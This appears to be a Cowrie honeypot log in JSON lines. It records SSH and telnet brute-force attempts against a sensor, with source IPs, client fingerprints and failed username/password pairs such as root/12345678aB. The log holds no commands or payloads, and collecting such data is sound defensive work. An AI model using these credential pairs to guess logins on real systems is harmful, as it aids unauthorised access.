{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:09.307686Z","src_ip":"210.183.21.53","session":"acb7e8153364","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:11.477762Z","src_ip":"159.203.92.129","session":"c7449ca7b9e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testpass","message":"login attempt [testuser/testpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:12.073996Z","src_ip":"210.183.21.53","session":"acb7e8153364","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:12.398301Z","src_ip":"198.235.24.53","session":"2a81ab94931f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:13.282075Z","src_ip":"210.183.21.53","session":"acb7e8153364","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":52976,"dst_ip":"159.203.135.109","dst_port":22,"session":"f321962d59e3","protocol":"ssh","message":"New connection: 80.94.92.186:52976 (159.203.135.109:22) [session: f321962d59e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:35.860535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:35.948056Z","src_ip":"80.94.92.186","session":"f321962d59e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:36.269695Z","src_ip":"80.94.92.186","session":"f321962d59e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:37.770319Z","src_ip":"80.94.92.186","session":"f321962d59e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:38.993136Z","src_ip":"80.94.92.186","session":"f321962d59e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":55664,"dst_ip":"159.203.135.109","dst_port":22,"session":"67f9bc02360c","protocol":"ssh","message":"New connection: 221.139.88.149:55664 (159.203.135.109:22) [session: 67f9bc02360c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:44.624308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:44.629480Z","src_ip":"221.139.88.149","session":"67f9bc02360c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:44.813178Z","src_ip":"221.139.88.149","session":"67f9bc02360c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":5322,"dst_ip":"10.17.0.5","dst_port":22,"session":"082d88ae6335","protocol":"ssh","message":"New connection: 201.149.53.243:5322 (10.17.0.5:22) [session: 082d88ae6335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:45.739754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:45.744324Z","src_ip":"201.149.53.243","session":"082d88ae6335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"digital","message":"login attempt [ubuntu/digital] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:45.775891Z","src_ip":"221.139.88.149","session":"67f9bc02360c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:45.812513Z","src_ip":"201.149.53.243","session":"082d88ae6335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"linux123","message":"login attempt [ubuntu/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:46.117857Z","src_ip":"201.149.53.243","session":"082d88ae6335","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:46.974948Z","src_ip":"221.139.88.149","session":"67f9bc02360c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:47.189181Z","src_ip":"201.149.53.243","session":"082d88ae6335","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43470,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d83a37bbdd2","protocol":"ssh","message":"New connection: 159.203.92.129:43470 (159.203.135.109:22) [session: 0d83a37bbdd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:50.887920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:50.892360Z","src_ip":"159.203.92.129","session":"0d83a37bbdd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:50.896467Z","src_ip":"159.203.92.129","session":"0d83a37bbdd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Well","password":"Well","message":"login attempt [Well/Well] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:50.906271Z","src_ip":"159.203.92.129","session":"0d83a37bbdd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:51.912730Z","src_ip":"159.203.92.129","session":"0d83a37bbdd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":54472,"dst_ip":"10.17.0.5","dst_port":22,"session":"792b192c2979","protocol":"ssh","message":"New connection: 210.183.21.53:54472 (10.17.0.5:22) [session: 792b192c2979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:06.186234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:06.190940Z","src_ip":"210.183.21.53","session":"792b192c2979","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:06.395288Z","src_ip":"210.183.21.53","session":"792b192c2979","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678aB","message":"login attempt [root/12345678aB] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:07.229729Z","src_ip":"210.183.21.53","session":"792b192c2979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:08.434148Z","src_ip":"210.183.21.53","session":"792b192c2979","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.51.7","src_port":54058,"dst_ip":"10.17.0.5","dst_port":22,"session":"4712119bcfe7","protocol":"ssh","message":"New connection: 196.189.51.7:54058 (10.17.0.5:22) [session: 4712119bcfe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:17.480139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:17.484680Z","src_ip":"196.189.51.7","session":"4712119bcfe7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:17.651057Z","src_ip":"196.189.51.7","session":"4712119bcfe7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suser","password":"1234","message":"login attempt [suser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:18.344414Z","src_ip":"196.189.51.7","session":"4712119bcfe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:19.512122Z","src_ip":"196.189.51.7","session":"4712119bcfe7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.129.187.38","src_port":58016,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d8cfefad4a6","protocol":"telnet","message":"New connection: 3.129.187.38:58016 (159.203.135.109:23) [session: 9d8cfefad4a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:32.033522Z"}
{"eventid":"cowrie.session.closed","duration":0.03400444984436035,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:32.067439Z","src_ip":"3.129.187.38","session":"9d8cfefad4a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37510,"dst_ip":"159.203.135.109","dst_port":22,"session":"811e7bcaede8","protocol":"ssh","message":"New connection: 159.203.92.129:37510 (159.203.135.109:22) [session: 811e7bcaede8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:32.992631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:33.000791Z","src_ip":"159.203.92.129","session":"811e7bcaede8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:33.005109Z","src_ip":"159.203.92.129","session":"811e7bcaede8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Well","password":"Well123","message":"login attempt [Well/Well123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:33.018058Z","src_ip":"159.203.92.129","session":"811e7bcaede8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:34.024395Z","src_ip":"159.203.92.129","session":"811e7bcaede8","protocol":"ssh"}
